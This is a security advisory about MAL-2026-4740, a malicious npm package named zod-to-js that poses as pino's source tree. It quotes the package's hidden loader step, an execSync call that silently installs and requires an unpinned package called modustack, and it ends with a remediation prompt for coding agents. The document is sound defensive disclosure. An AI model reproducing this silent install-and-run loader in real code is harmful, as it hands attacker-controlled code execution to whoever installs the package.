# MAL-2026-4740: Malicious code in zod-to-js (npm)


- **Type:** Malicious package
- **Package:** `zod-to-js` (npm)
- **Published:** 19 May 2026
- **Also known as:** GHSA-8cm2-vv7w-4c27

## What is MAL-2026-4740?

MAL-2026-4740 is a malicious package in zod-to-js, published on 19 May 2026. 

### Official description

The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry `pino.js`, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage `https://getpino.io` — a deceptive identity unrelated to its declared name. On `require('zod-to-js')`, the load chain reaches `lib/writer.js`, which attempts `require('modustack')` and, on failure, executes `execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })` followed by `require('../../modustack/pino.js')`. The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the `modustack` name. The same file contains additional staging scaffolding — a `String.fromCharCode`-based string builder and a `getMacAddress()` helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4740?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4740 is a malicious package: zod-to-js (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4740/ (Markdown: https://insights.sbomify.com/MAL-2026-4740/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4740

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4740/
Summaries are generated and may contain mistakes; the official description above is the record.
